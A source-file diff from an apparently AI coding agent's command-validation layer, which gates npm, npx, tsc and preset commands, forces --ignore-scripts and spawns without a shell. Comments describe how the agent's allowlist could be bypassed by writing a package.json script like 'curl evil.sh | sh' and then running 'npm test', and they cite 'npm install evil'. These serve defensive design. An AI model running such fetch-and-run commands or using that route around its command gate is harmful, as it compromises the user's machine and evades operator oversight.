* ⭐ THE REFUSAL NAMES THE SWITCH. This is the reachability half of the
|
|
1827
|
+
* feature and it is not decoration: a capability whose only door is an
|
|
1828
|
+
* environment variable nobody mentions is a capability that does not exist.
|
|
1829
|
+
* The agent that hits this can tell the human the exact line to run, in the
|
|
1830
|
+
* same round it discovered it needed a dependency.
|
|
1831
|
+
*/
|
|
1832
|
+
if (!allowInstall) {
|
|
1833
|
+
return {
|
|
1834
|
+
ok: false,
|
|
1835
|
+
/**
|
|
1836
|
+
* ⚠️ THE PHRASE "never installs or publishes" IS LOAD-BEARING TEXT, not
|
|
1837
|
+
* prose. `test/spawn-argv.test.mjs` pins it as the default surface's
|
|
1838
|
+
* promise, and that promise is unchanged: with no environment variable
|
|
1839
|
+
* set, this sentence is the whole behaviour.
|
|
1840
|
+
*/
|
|
1841
|
+
error: `npm ${sub} is refused — on the default surface this agent never installs or publishes, because an install downloads and runs code from the registry, which is the one thing an allowlist of program names cannot check. A human can switch installs on for this machine by setting ${ALLOW_INSTALL_ENV}=1 in the environment that launches acuvo-code (the agent has no verb that reaches it). When it is on: --ignore-scripts is forced, only registry names are accepted (no URL, git, file: or npm: alias), and the change to package.json is saved so you can see it in the diff.`,
|
|
1842
|
+
};
|
|
1843
|
+
}
|
|
1844
|
+
return validateNpmInstall(command, tokens);
|
|
1845
|
+
}
|
|
1846
|
+
if (sub === 'test' || sub === 't') {
|
|
1847
|
+
if (tokens.length !== 2) return { ok: false, error: 'npm test takes no extra arguments here' };
|
|
1848
|
+
return { ok: true, command, tokens, binary: 'npm', npmScript: 'test' };
|
|
1849
|
+
}
|
|
1850
|
+
if (sub === 'run' || sub === 'run-script') {
|
|
1851
|
+
if (tokens.length !== 3) {
|
|
1852
|
+
return { ok: false, error: 'use exactly "npm run <script>" — extra npm arguments are refused' };
|
|
1853
|
+
}
|
|
1854
|
+
const script = tokens[2];
|
|
1855
|
+
if (!/^[A-Za-z0-9][A-Za-z0-9:._-]*$/.test(script)) return { ok: false, error: `"${script}" is not a valid npm script name` };
|
|
1856
|
+
return { ok: true, command, tokens, binary: 'npm', npmScript: script };
|
|
1857
|
+
}
|
|
1858
|
+
/**
|
|
1859
|
+
* ⚠️ `exec` / `publish` / `link` ARE THE INTERESTING REFUSALS AND HAVE NO
|
|
1860
|
+
* SWITCH. `exec` fetches and runs a package without recording it anywhere —
|
|
1861
|
+
* everything `install` costs with none of the reviewable receipt that made
|
|
1862
|
+
* `install` gateable at all. `publish` pushes this repository to a public
|
|
1863
|
+
* registry, which is not a step an agent takes unattended, in any mode.
|
|
1864
|
+
*/
|
|
1865
|
+
return {
|
|
1866
|
+
ok: false,
|
|
1867
|
+
error: `npm ${sub ?? '(nothing)'} is refused — only "npm test" and "npm run <script>" are allowed (plus "npm install"/"npm ci" when ${ALLOW_INSTALL_ENV}=1). exec and publish have no switch at all: exec runs registry code without recording what it ran, and publish uploads this repository.`,
|
|
1868
|
+
};
|
|
1869
|
+
}
|
|
1870
|
+
|
|
1871
|
+
/**
|
|
1872
|
+
* ── ⭐ THE ONE AUTHORITY, FOR BOTH DOORS ────────────────────────────────────
|
|
1873
|
+
*
|
|
1874
|
+
* `run_command` reaches install through `validateCommand` (string → tokenizer →
|
|
1875
|
+
* `validateNpm`). `run_program` reaches it through here (argv, already split).
|
|
1876
|
+
* Both end at the SAME `validateNpm`, so there is no second, laxer path — the
|
|
1877
|
+
* defect shape this file's header names in its own first paragraph.
|
|
1878
|
+
*
|
|
1879
|
+
* ⚠️ THE ARGV DOOR SKIPS THE CHARACTER WHITELIST, AND THAT IS THE POINT OF
|
|
1880
|
+
* `spawn-argv.mjs`: an argv slot needs no tokenizer because nothing will re-parse
|
|
1881
|
+
* it. For an install it costs nothing, because the thing that actually decides
|
|
1882
|
+
* safety here is `validateInstallSpec`, which is a whitelist of SHAPE and runs
|
|
1883
|
+
* on every operand either way. It is why `zod@^4.1.0` works through this door
|
|
1884
|
+
* and not the other one.
|
|
1885
|
+
*
|
|
1886
|
+
* @param {unknown} args e.g. `['install', 'zod']`
|
|
1887
|
+
* @param {{ allowInstall?: boolean }} [opts]
|
|
1888
|
+
*/
|
|
1889
|
+
export function validateNpmInstallArgv(args, { allowInstall = false } = {}) {
|
|
1890
|
+
if (!Array.isArray(args) || args.some((a) => typeof a !== 'string')) {
|
|
1891
|
+
return { ok: false, error: 'npm install needs an array of string arguments, e.g. ["install", "zod"]' };
|
|
1892
|
+
}
|
|
1893
|
+
const tokens = ['npm', ...args];
|
|
1894
|
+
return validateNpm(tokens.join(' '), tokens, { allowInstall });
|
|
1895
|
+
}
|
|
1896
|
+
|
|
1897
|
+
function validateNpx(command, tokens) {
|
|
1898
|
+
const pkg = tokens[1];
|
|
1899
|
+
if (!ALLOWED_NPX_PACKAGES.includes(pkg)) {
|
|
1900
|
+
return {
|
|
1901
|
+
ok: false,
|
|
1902
|
+
error: `npx ${pkg ?? '(nothing)'} is refused — npx runs a package from the registry, so only ${ALLOWED_NPX_PACKAGES.join(' and ')} are allowed, and only if already installed here.`,
|
|
1903
|
+
};
|
|
1904
|
+
}
|
|
1905
|
+
if (pkg === 'vitest') return validateVitest(command, tokens, 2, 'npx');
|
|
1906
|
+
return validateTsc(command, tokens, 2, 'npx');
|
|
1907
|
+
}
|
|
1908
|
+
|
|
1909
|
+
/**
|
|
1910
|
+
* A preset (or admin-declared) binary, validated through the SAME machinery the
|
|
1911
|
+
* original four use: the character whitelist has already run, the flags are a
|
|
1912
|
+
* whitelist, and every non-flag operand goes through `normalizeRelativePath`.
|
|
1913
|
+
*
|
|
1914
|
+
* ⚠️ There is no second, laxer path here. That was the specific way this could
|
|
1915
|
+
* have gone wrong — "the four are checked properly and the new ones get a quick
|
|
1916
|
+
* once-over" — so the subcommand gate is the only thing added, and it is a
|
|
1917
|
+
* whitelist too.
|
|
1918
|
+
*/
|
|
1919
|
+
function validatePreset(command, tokens, spec, allowlist) {
|
|
1920
|
+
const binary = spec.binary;
|
|
1921
|
+
let from = 1;
|
|
1922
|
+
|
|
1923
|
+
if (spec.subcommands) {
|
|
1924
|
+
const sub = tokens[1];
|
|
1925
|
+
const refusedReason = spec.refusedSubcommands?.get(sub);
|
|
1926
|
+
if (refusedReason) return { ok: false, error: `${binary} ${sub} is refused: ${refusedReason}` };
|
|
1927
|
+
if (sub === undefined) {
|
|
1928
|
+
return { ok: false, error: `${binary} needs a subcommand — one of: ${[...spec.subcommands].join(', ')}` };
|
|
1929
|
+
}
|
|
1930
|
+
if (!spec.subcommands.has(sub)) {
|
|
1931
|
+
return { ok: false, error: `${binary} ${sub} is not allowed. Allowed: ${[...spec.subcommands].join(', ')}${spec.refusedSubcommands?.size ? `. Refused on purpose: ${[...spec.refusedSubcommands.keys()].join(', ')}` : ''}` };
|
|
1932
|
+
}
|
|
1933
|
+
from = 2;
|
|
1934
|
+
|
|
1935
|
+
/**
|
|
1936
|
+
* ⭐ `bundle exec rspec` DELEGATES THE PROGRAM CHOICE, so the delegated name
|
|
1937
|
+
* goes back through the allowlist rather than being trusted. Without this,
|
|
1938
|
+
* one allowed binary would launder every other one — the same shape as the
|
|
1939
|
+
* `npm test` bypass, arriving through a different door.
|
|
1940
|
+
*/
|
|
1941
|
+
if (spec.delegates) {
|
|
1942
|
+
const inner = tokens[2];
|
|
1943
|
+
if (!inner) return { ok: false, error: `${binary} exec needs a program to run` };
|
|
1944
|
+
const innerSpec = allowlist.grammar.get(inner);
|
|
1945
|
+
if (!innerSpec || innerSpec.builtin) {
|
|
1946
|
+
return { ok: false, error: `${binary} exec ${inner} is refused — "${inner}" is not itself on the allowlist, and delegating the choice of program is exactly what an allowlist of programs must not permit.` };
|
|
1947
|
+
}
|
|
1948
|
+
const rest = validateOperands(tokens, 3, innerSpec);
|
|
1949
|
+
if (!rest.ok) return rest;
|
|
1950
|
+
return { ok: true, command, tokens, binary, spec };
|
|
1951
|
+
}
|
|
1952
|
+
}
|
|
1953
|
+
|
|
1954
|
+
const check = validateOperands(tokens, from, spec);
|
|
1955
|
+
if (!check.ok) return check;
|
|
1956
|
+
return { ok: true, command, tokens, binary, spec };
|
|
1957
|
+
}
|
|
1958
|
+
|
|
1959
|
+
/**
|
|
1960
|
+
* The whole gate, as one pure function. Every refusal is a sentence that says
|
|
1961
|
+
* what to do instead, because the audience is a model that gets another round.
|
|
1962
|
+
*
|
|
1963
|
+
* @param {unknown} raw
|
|
1964
|
+
* @param {{ script?: boolean, allowlist?: Allowlist, allowInstall?: boolean }} [opts]
|
|
1965
|
+
* `script: true` validates a package.json script BODY rather than a command
|
|
1966
|
+
* the model wrote — different binary list, same everything else. `allowlist`
|
|
1967
|
+
* defaults to the four, so every existing caller is unchanged.
|
|
1968
|
+
*
|
|
1969
|
+
* ⚠️ `allowInstall` DEFAULTS TO FALSE AND THAT IS THE SAFETY PROPERTY. Every
|
|
1970
|
+
* existing call site — `acceptance.mjs`, `background.mjs`, `spawn-argv.mjs`'s
|
|
1971
|
+
* flag probe, the script-body validator — keeps refusing `npm install`
|
|
1972
|
+
* without being edited. Only the one caller that has read the operator's
|
|
1973
|
+
* environment can turn it on, and it has to say so explicitly.
|
|
1974
|
+
*
|
|
1975
|
+
* ⚠️ It is NOT read from `process.env` in here. This function is pure and a
|
|
1976
|
+
* thousand tests depend on that; a hidden environment read would also make
|
|
1977
|
+
* the script-body path (`script: true`) silently inherit the switch, and an
|
|
1978
|
+
* npm script that says `npm install` is exactly the chain this file refuses
|
|
1979
|
+
* to follow.
|
|
1980
|
+
*/
|
|
1981
|
+
export function validateCommand(raw, { script = false, allowlist = DEFAULT_ALLOWLIST, allowInstall = false } = {}) {
|
|
1982
|
+
const tok = tokenizeCommand(raw);
|
|
1983
|
+
if (!tok.ok) return tok;
|
|
1984
|
+
const { command, tokens } = tok;
|
|
1985
|
+
const binary = tokens[0];
|
|
1986
|
+
const allowed = script ? ALLOWED_SCRIPT_BINARIES : allowlist.binaries;
|
|
1987
|
+
if (!allowed.includes(binary)) {
|
|
1988
|
+
if (script) {
|
|
1989
|
+
return { ok: false, error: `the script runs "${binary}", which this agent cannot verify. An npm script may only run: ${allowed.join(', ')}.` };
|
|
1990
|
+
}
|
|
1991
|
+
/**
|
|
1992
|
+
* ⭐ THE REFUSAL HAS TO NAME THE WAY OUT. Measured on the glob refusal
|
|
1993
|
+
* earlier in this file: a message that names a rule and not an alternative
|
|
1994
|
+
* costs a whole round, because the model has nothing to do differently. So
|
|
1995
|
+
* when the binary is one a shipped preset provides, say which preset and
|
|
1996
|
+
* where to switch it on.
|
|
1997
|
+
*/
|
|
1998
|
+
const preset = presetProviding(binary);
|
|
1999
|
+
const hint = preset
|
|
2000
|
+
? ` "${binary}" ships in the "${preset}" preset (${COMMAND_PRESETS[preset].describe}), which is OFF by default. Enable it by adding {"presets":["${preset}"]} to ${COMMANDS_CONFIG_FILE}, or by setting ${ALLOW_COMMANDS_ENV}=${preset} in the environment.`
|
|
2001
|
+
: ` Other ecosystems ship as presets (${PRESET_NAMES.join(', ')}) and are off until enabled in ${COMMANDS_CONFIG_FILE}; a program of your own can be added with ${ALLOW_COMMANDS_ENV}.`;
|
|
2002
|
+
return {
|
|
2003
|
+
ok: false,
|
|
2004
|
+
error: `"${binary}" is not a program this agent may run. Allowed here: ${allowed.join(', ')}.${hint}`,
|
|
2005
|
+
};
|
|
2006
|
+
}
|
|
2007
|
+
switch (binary) {
|
|
2008
|
+
case 'node': return validateNode(command, tokens);
|
|
2009
|
+
case 'vitest': return validateVitest(command, tokens, 1, 'vitest');
|
|
2010
|
+
/**
|
|
2011
|
+
* ⚠️ MEASURED, NOT ASSUMED: `&& !script` is UNREACHABLE TODAY. Mutating it
|
|
2012
|
+
* away left `test/npm-install.test.mjs` green, because `npm` is not in
|
|
2013
|
+
* `ALLOWED_SCRIPT_BINARIES` and a script body naming npm dies twenty lines
|
|
2014
|
+
* above this. It stays as defence in depth — the day someone adds `npm` to
|
|
2015
|
+
* that list, an npm script body reading `npm install evil` must still be a
|
|
2016
|
+
* chain this validator refuses to follow rather than one it walks — and the
|
|
2017
|
+
* test pins the BINARY LIST, which is the guard that actually holds.
|
|
2018
|
+
*/
|
|
2019
|
+
case 'npm': return validateNpm(command, tokens, { allowInstall: allowInstall && !script });
|
|
2020
|
+
case 'npx': return validateNpx(command, tokens);
|
|
2021
|
+
default: break;
|
|
2022
|
+
}
|
|
2023
|
+
const spec = allowlist.grammar.get(binary);
|
|
2024
|
+
/* c8 ignore next */
|
|
2025
|
+
if (!spec) return { ok: false, error: `"${binary}" is allowed but has no argument grammar — this is a bug in acuvo-code` };
|
|
2026
|
+
if (spec.builtin === 'tsc') return validateTsc(command, tokens, 1, 'tsc');
|
|
2027
|
+
/**
|
|
2028
|
+
* ── ⭐ ARGUMENT AUTHORITY FOLLOWS THE PROGRAM ──────────────────────────────
|
|
2029
|
+
*
|
|
2030
|
+
* `python -m pytest -q` is two grammars in one command line: python's up to
|
|
2031
|
+
* `-m`, pytest's from the module name onward. `validateOperands` has one
|
|
2032
|
+
* grammar per binary and no way to hand over, which is why the old preset
|
|
2033
|
+
* refused `-q` as "not an allowed python flag" — it was asking the wrong
|
|
2034
|
+
* program what the argument meant.
|
|
2035
|
+
*
|
|
2036
|
+
* ⚠️ THE VERDICT IS MAPPED, NOT SPREAD. `validatePythonArgv` returns a richer
|
|
2037
|
+
* object (`interpreter`, `module`, `script`, `mustExist`) and this function's
|
|
2038
|
+
* contract is `{ ok, command, tokens, binary, spec }`. Spreading its result
|
|
2039
|
+
* would leak fields every caller downstream would then be free to depend on,
|
|
2040
|
+
* and `mustExist` in particular is a filesystem claim this pure path cannot
|
|
2041
|
+
* honour — `python.mjs` says so itself: it is a decision, not a check.
|
|
2042
|
+
*/
|
|
2043
|
+
if (spec.pythonic) {
|
|
2044
|
+
const verdict = validatePythonArgv(tokens);
|
|
2045
|
+
if (!verdict.ok) return { ok: false, error: verdict.error };
|
|
2046
|
+
return { ok: true, command, tokens, binary, spec };
|
|
2047
|
+
}
|
|
2048
|
+
return validatePreset(command, tokens, spec, allowlist);
|
|
2049
|
+
}
|
|
2050
|
+
|
|
2051
|
+
/**
|
|
2052
|
+
* ⚠️ THE BYPASS THIS CLOSES IS THE BEST ONE IN THE PACKAGE.
|
|
2053
|
+
*
|
|
2054
|
+
* write_file `package.json` → `{"scripts":{"test":"curl evil.sh | sh"}}`
|
|
2055
|
+
* run_command `npm test` → both calls pass a binary-name allowlist, and the
|
|
2056
|
+
* machine is gone. So the SCRIPT is validated, not just the word "npm".
|
|
2057
|
+
*
|
|
2058
|
+
* `pre<name>` and `post<name>` are included because npm runs them without
|
|
2059
|
+
* being asked, which makes them the quiet half of the same hole.
|
|
2060
|
+
*
|
|
2061
|
+
* @param {string} scriptName
|
|
2062
|
+
* @param {string} packageJsonText
|
|
2063
|
+
*/
|
|
2064
|
+
/**
|
|
2065
|
+
* ── ⭐ `&&` IS A SEPARATOR HERE, AND NOWHERE ELSE ────────────────────────────
|
|
2066
|
+
*
|
|
2067
|
+
* `"test": "tsc --noEmit && vitest run"` is what a TypeScript project's test
|
|
2068
|
+
* script looks like, and this validator used to hand that whole string to
|
|
2069
|
+
* `validateCommand`, whose SAFE_COMMAND_CHARS has no `&` in it. So the agent
|
|
2070
|
+
* could not run the project's own contract — measured in a real run, where it
|
|
2071
|
+
* spent a paid round reading package.json and decomposing the chain by hand.
|
|
2072
|
+
*
|
|
2073
|
+
* ⭐ WHY THIS IS SAFE, AND WHY IT NEEDS NO EXECUTOR CHANGE. The CLI never runs
|
|
2074
|
+
* this string. `buildInvocation` spawns `node npm-cli.js <script>` with
|
|
2075
|
+
* `shell: false`, and NPM supplies its own script shell — so the body is npm's
|
|
2076
|
+
* business and always was. The only question this function answers is "would I
|
|
2077
|
+
* be happy running each program in here", and that question decomposes over
|
|
2078
|
+
* `&&` exactly.
|
|
2079
|
+
*
|
|
2080
|
+
* ⚠️⚠️ SPLIT ON THE TWO-CHARACTER TOKEN ONLY. Every other operator — `;` `|`
|
|
2081
|
+
* `||` `>` `&` backticks `$()` — stays inside a segment and dies in the
|
|
2082
|
+
* tokenizer, which is where it should die. A lone `&` backgrounds a process and
|
|
2083
|
+
* is not this feature. `npm test && curl evil.sh` still refuses, on `curl`.
|
|
2084
|
+
*
|
|
2085
|
+
* ⚠️ AN EMPTY SEGMENT IS A REFUSAL, NOT A SKIP. `node a.js &&` is malformed, and
|
|
2086
|
+
* a validator that treats "nothing to check" as "fine" has approved a string it
|
|
2087
|
+
* never inspected.
|
|
2088
|
+
*
|
|
2089
|
+
* ⚠️ THIS DOES NOT TOUCH THE MODEL-WRITTEN COMMAND PATH. A command the model
|
|
2090
|
+
* types still goes through `validateCommand` whole, where `&` is refused. The
|
|
2091
|
+
* difference is authorship: a package.json script was written by a human and is
|
|
2092
|
+
* reviewable in the repo; a model-authored string is neither.
|
|
2093
|
+
*/
|
|
2094
|
+
function validateScriptBody(body) {
|
|
2095
|
+
const segments = String(body).split('&&');
|
|
2096
|
+
if (segments.length === 1) return validateCommand(body, { script: true });
|
|
2097
|
+
|
|
2098
|
+
for (const segment of segments) {
|
|
2099
|
+
const trimmed = segment.trim();
|
|
2100
|
+
if (!trimmed) {
|
|
2101
|
+
return { ok: false, error: `"${body}" has an empty step around "&&" — that is a typo, not a command chain` };
|
|
2102
|
+
}
|
|
2103
|
+
const verdict = validateCommand(trimmed, { script: true });
|
|
2104
|
+
if (!verdict.ok) {
|
|
2105
|
+
return { ok: false, error: `the step ${JSON.stringify(trimmed)} is not allowed: ${verdict.error}` };
|
|
2106
|
+
}
|
|
2107
|
+
}
|
|
2108
|
+
return { ok: true };
|
|
2109
|
+
}
|
|
2110
|
+
|
|
2111
|
+
export function validateNpmScriptChain(scriptName, packageJsonText) {
|
|
2112
|
+
let pkg;
|
|
2113
|
+
try {
|
|
2114
|
+
pkg = JSON.parse(packageJsonText);
|
|
2115
|
+
} catch (err) {
|
|
2116
|
+
return { ok: false, error: `package.json is not valid JSON: ${err instanceof Error ? err.message : String(err)}` };
|
|
2117
|
+
}
|
|
2118
|
+
const scripts = pkg && typeof pkg === 'object' ? pkg.scripts : null;
|
|
2119
|
+
if (!scripts || typeof scripts !== 'object') {
|
|
2120
|
+
return { ok: false, error: 'package.json has no "scripts" section, so there is nothing to run' };
|
|
2121
|
+
}
|
|
2122
|
+
if (typeof scripts[scriptName] !== 'string') {
|
|
2123
|
+
const available = Object.keys(scripts).slice(0, 12);
|
|
2124
|
+
return {
|
|
2125
|
+
ok: false,
|
|
2126
|
+
error: `package.json has no "${scriptName}" script${available.length ? ` (it has: ${available.join(', ')})` : ''}`,
|
|
2127
|
+
};
|
|
2128
|
+
}
|
|
2129
|
+
const chain = [`pre${scriptName}`, scriptName, `post${scriptName}`]
|
|
2130
|
+
.filter((name) => typeof scripts[name] === 'string')
|
|
2131
|
+
.map((name) => ({ name, body: scripts[name] }));
|
|
2132
|
+
|
|
2133
|
+
for (const link of chain) {
|
|
2134
|
+
const verdict = validateScriptBody(link.body);
|
|
2135
|
+
if (!verdict.ok) {
|
|
2136
|
+
return {
|
|
2137
|
+
ok: false,
|
|
2138
|
+
error: `the "${link.name}" script is ${JSON.stringify(link.body)}, which is not allowed: ${verdict.error}`,
|
|
2139
|
+
};
|
|
2140
|
+
}
|
|
2141
|
+
}
|
|
2142
|
+
return { ok: true, chain };
|
|
2143
|
+
}
|
|
2144
|
+
|
|
2145
|
+
/**
|
|
2146
|
+
* ⚠️ WHY THIS RESOLVES `npm` TO A `.js` FILE INSTEAD OF SPAWNING `npm`.
|
|
2147
|
+
*
|
|
2148
|
+
* On Windows `npm` is `npm.cmd`, and since the BatBadBut fix (CVE-2024-27980)
|
|
2149
|
+
* Node REFUSES to spawn a `.cmd` without `shell: true`. The obvious workaround
|
|
2150
|
+
* is therefore to turn the shell back on — which would hand a shell the string
|
|
2151
|
+
* this entire file exists to keep away from one, and would do it on the single
|
|
2152
|
+
* platform where the developer is working today.
|
|
2153
|
+
*
|
|
2154
|
+
* So: spawn the real `node` binary we are already running (`process.execPath`)
|
|
2155
|
+
* with npm's own JavaScript entry point. No shim, no shell, same behaviour on
|
|
2156
|
+
* every platform, and one fewer thing that resolves through `PATH`.
|
|
2157
|
+
*/
|
|
2158
|
+
function findNpmEntry(fileName, execPath = process.execPath) {
|
|
2159
|
+
const dir = dirname(execPath);
|
|
2160
|
+
const candidates = [
|
|
2161
|
+
join(dir, 'node_modules', 'npm', 'bin', fileName), // Windows, nvm
|
|
2162
|
+
join(dir, '..', 'lib', 'node_modules', 'npm', 'bin', fileName), // POSIX prefix layout
|
|
2163
|
+
join(dir, '..', 'node_modules', 'npm', 'bin', fileName),
|
|
2164
|
+
];
|
|
2165
|
+
return candidates.find((c) => existsSync(c)) ?? null;
|
|
2166
|
+
}
|
|
2167
|
+
|
|
2168
|
+
/**
|
|
2169
|
+
* Turn a validated command into an exact `spawn(file, args)` with no shell and
|
|
2170
|
+
* no PATH lookup of anything but node itself.
|
|
2171
|
+
*/
|
|
2172
|
+
export function buildInvocation(valid, root, { execPath = process.execPath } = {}) {
|
|
2173
|
+
const rest = valid.tokens.slice(1);
|
|
2174
|
+
if (valid.binary === 'node') {
|
|
2175
|
+
return { ok: true, file: execPath, args: rest };
|
|
2176
|
+
}
|
|
2177
|
+
if (valid.binary === 'npm') {
|
|
2178
|
+
const entry = findNpmEntry('npm-cli.js', execPath);
|
|
2179
|
+
if (!entry) return { ok: false, error: 'npm could not be located next to this Node install, so it cannot be run without a shell' };
|
|
2180
|
+
/**
|
|
2181
|
+
* ── ⚠️⚠️⭐ `--ignore-scripts` IS FORCED HERE, AT THE SPAWN, ON PURPOSE ──
|
|
2182
|
+
*
|
|
2183
|
+
* THE DECISION, AND ITS COST, BOTH WRITTEN DOWN: an npm install runs
|
|
2184
|
+
* `preinstall`/`install`/`postinstall` for the requested package AND FOR
|
|
2185
|
+
* EVERY TRANSITIVE DEPENDENCY, as the invoking user, before anyone has read
|
|
2186
|
+
* a line of what arrived. That is the mechanism essentially every npm
|
|
2187
|
+
* supply-chain worm has used, Shai-Hulud included. It is strictly more
|
|
2188
|
+
* dangerous than anything else this package permits, and it is not needed
|
|
2189
|
+
* for the thing the agent actually wants, which is `import { z } from 'zod'`
|
|
2190
|
+
* to resolve.
|
|
2191
|
+
*
|
|
2192
|
+
* ⚠️ WHAT IT BREAKS, HONESTLY: packages that compile a native addon or
|
|
2193
|
+
* download a prebuilt binary at install time — `esbuild`, `sharp`,
|
|
2194
|
+
* `better-sqlite3`, `bcrypt`, `puppeteer`, `cypress`. They will land on disk
|
|
2195
|
+
* and then fail at require time. That is a MINORITY of the registry and it
|
|
2196
|
+
* is the correct minority to lose: those are exactly the installs a human
|
|
2197
|
+
* should be running, because they are the ones that execute something.
|
|
2198
|
+
* `formatRunForModel` prints this so the agent can say it rather than
|
|
2199
|
+
* flailing at a mystery failure.
|
|
2200
|
+
*
|
|
2201
|
+
* ⭐ AND WHY *HERE* RATHER THAN IN THE VALIDATOR: this is derived from the
|
|
2202
|
+
* ARGV ABOUT TO BE SPAWNED, not from a flag a caller remembered to set. A
|
|
2203
|
+
* second caller (`spawn-argv.mjs`) builds npm install argvs too; deriving it
|
|
2204
|
+
* from the noun means that caller cannot forget, and a future third caller
|
|
2205
|
+
* cannot either. A guard that depends on being told is a guard that gets
|
|
2206
|
+
* satisfied by coincidence.
|
|
2207
|
+
*
|
|
2208
|
+
* ⚠️ A COMMAND-LINE FLAG BEATS `.npmrc` IN NPM'S CONFIG PRECEDENCE (cli >
|
|
2209
|
+
* env > project .npmrc > user .npmrc), so a workspace `.npmrc` cannot undo
|
|
2210
|
+
* this. `executeRunCommand` refuses on such an `.npmrc` anyway — belt and
|
|
2211
|
+
* braces, because the precedence is npm's promise and not ours.
|
|
2212
|
+
*/
|
|
2213
|
+
const args = [entry, ...rest];
|
|
2214
|
+
if (NPM_INSTALL_SUBCOMMANDS.has(rest[0])) args.splice(2, 0, '--ignore-scripts');
|
|
2215
|
+
return { ok: true, file: execPath, args };
|
|
2216
|
+
}
|
|
2217
|
+
if (valid.binary === 'npx') {
|
|
2218
|
+
const entry = findNpmEntry('npx-cli.js', execPath);
|
|
2219
|
+
if (!entry) return { ok: false, error: 'npx could not be located next to this Node install, so it cannot be run without a shell' };
|
|
2220
|
+
/**
|
|
2221
|
+
* ⚠️ `--no` IS THE WHOLE REASON npx IS ALLOWED AT ALL. Without it, npx
|
|
2222
|
+
* DOWNLOADS a missing package and runs it — remote code execution with a
|
|
2223
|
+
* friendly name. With it, npx will only run a binary already installed in
|
|
2224
|
+
* this workspace, and says so plainly when it is not.
|
|
2225
|
+
*/
|
|
2226
|
+
return { ok: true, file: execPath, args: [entry, '--no', ...rest] };
|
|
2227
|
+
}
|
|
2228
|
+
if (valid.binary === 'tsc') {
|
|
2229
|
+
// tsc: the workspace's own compiler, never a global one.
|
|
2230
|
+
const local = join(root, 'node_modules', 'typescript', 'bin', 'tsc');
|
|
2231
|
+
if (!existsSync(local)) {
|
|
2232
|
+
return { ok: false, error: 'tsc is not installed in this workspace (node_modules/typescript is missing)' };
|
|
2233
|
+
}
|
|
2234
|
+
return { ok: true, file: execPath, args: [local, ...rest] };
|
|
2235
|
+
}
|
|
2236
|
+
|
|
2237
|
+
const spec = valid.spec;
|
|
2238
|
+
/* c8 ignore next */
|
|
2239
|
+
if (!spec) return { ok: false, error: `${valid.binary} has no invocation rule — this is a bug in acuvo-code` };
|
|
2240
|
+
|
|
2241
|
+
/**
|
|
2242
|
+
* ⭐ THE `node-bin` PRESET RESOLVES TO A FILE, NOT TO A NAME — the same trick
|
|
2243
|
+
* `tsc` already uses, and it is the reason this preset is the safest of them:
|
|
2244
|
+
* nothing goes through `PATH`, and our own `process.execPath` runs it.
|
|
2245
|
+
*
|
|
2246
|
+
* ⚠️ It also sidesteps the Windows trap the npm comment above describes. The
|
|
2247
|
+
* `node_modules/.bin/eslint` shim is `eslint.cmd` on Windows, and since
|
|
2248
|
+
* CVE-2024-27980 Node refuses to spawn a `.cmd` without `shell: true` — which
|
|
2249
|
+
* is the one thing this file will never turn on. Naming the package's own
|
|
2250
|
+
* `.js` entry point avoids the shim entirely.
|
|
2251
|
+
*/
|
|
2252
|
+
if (spec.resolve === 'node-module') {
|
|
2253
|
+
for (const candidate of spec.nodeModule ?? []) {
|
|
2254
|
+
const abs = join(root, ...candidate.split('/'));
|
|
2255
|
+
if (existsSync(abs)) return { ok: true, file: execPath, args: [abs, ...rest] };
|
|
2256
|
+
}
|
|
2257
|
+
return {
|
|
2258
|
+
ok: false,
|
|
2259
|
+
error: `${valid.binary} is not installed in this workspace (looked for ${(spec.nodeModule ?? []).join(', ')}). It is run from node_modules on purpose — a global one would be a program nobody in this repository agreed to.`,
|
|
2260
|
+
};
|
|
2261
|
+
}
|
|
2262
|
+
|
|
2263
|
+
/**
|
|
2264
|
+
* ⚠️ A PRESET BINARY IS FOUND ON `PATH`, AND THAT IS THE HONEST WEAKENING.
|
|
2265
|
+
* `node`, `npm`, `npx` and `tsc` resolve to files we can name; `python` and
|
|
2266
|
+
* `make` cannot. Whoever enabled the preset chose that, which is exactly why
|
|
2267
|
+
* presets are off by default and why the workspace layer can only pick from a
|
|
2268
|
+
* vetted menu. Still `shell: false`, still no metacharacters, still every
|
|
2269
|
+
* operand contained in the workspace.
|
|
2270
|
+
*/
|
|
2271
|
+
return { ok: true, file: valid.binary, args: rest };
|
|
2272
|
+
}
|
|
2273
|
+
|
|
2274
|
+
/**
|
|
2275
|
+
* Keep the head AND the tail of a stream.
|
|
2276
|
+
*
|
|
2277
|
+
* ⚠️ NOT `slice(0, n)`, AND THE REASON IS THE WHOLE POINT OF THE LOOP. A test
|
|
2278
|
+
* runner prints the first failure near the top and the summary at the very
|
|
2279
|
+
* bottom; keeping only the head throws away "3 failed", and keeping only the
|
|
2280
|
+
* tail throws away the stack trace that says why. Both ends, gap declared.
|
|
2281
|
+
*
|
|
2282
|
+
* Pure.
|
|
2283
|
+
*/
|
|
2284
|
+
export function clampOutput(text, maxChars = MAX_CAPTURED_CHARS) {
|
|
2285
|
+
if (typeof text !== 'string') return { text: '', truncated: false, omitted: 0 };
|
|
2286
|
+
if (text.length <= maxChars) return { text, truncated: false, omitted: 0 };
|
|
2287
|
+
const head = Math.floor(maxChars * 0.35);
|
|
2288
|
+
const tail = maxChars - head;
|
|
2289
|
+
const omitted = text.length - maxChars;
|
|
2290
|
+
return {
|
|
2291
|
+
text: `${text.slice(0, head)}\n\n… ${omitted} characters omitted …\n\n${text.slice(-tail)}`,
|
|
2292
|
+
truncated: true,
|
|
2293
|
+
omitted,
|
|
2294
|
+
};
|
|
2295
|
+
}
|
|
2296
|
+
|
|
2297
|
+
/**
|
|
2298
|
+
* ⚠️⭐ KILL THE TREE, NOT THE PROCESS — AND THE ORPHANS THAT PROVED IT.
|
|
2299
|
+
*
|
|
2300
|
+
* `child.kill('SIGKILL')` reaches exactly one pid. On Windows that is a
|
|
2301
|
+
* `TerminateProcess` against the direct child; on POSIX a single-pid signal.
|
|
2302
|
+
* Neither touches what the command STARTED — and what a coding agent runs is
|
|
2303
|
+
* precisely the kind of thing that starts something: a dev server, a watcher, a
|
|
2304
|
+
* worker pool, or npm, which on Windows runs the script through an intermediate
|
|
2305
|
+
* `cmd.exe` that then runs node.
|
|
2306
|
+
*
|
|
2307
|
+
* Measured, not reasoned about: `npm test` against a script that spawns a child
|
|
2308
|
+
* and never exits left pid 13128 running with its ParentProcessId 19836 already
|
|
2309
|
+
* gone — a true orphan, running until reboot, on the owner's personal laptop.
|
|
2310
|
+
*
|
|
2311
|
+
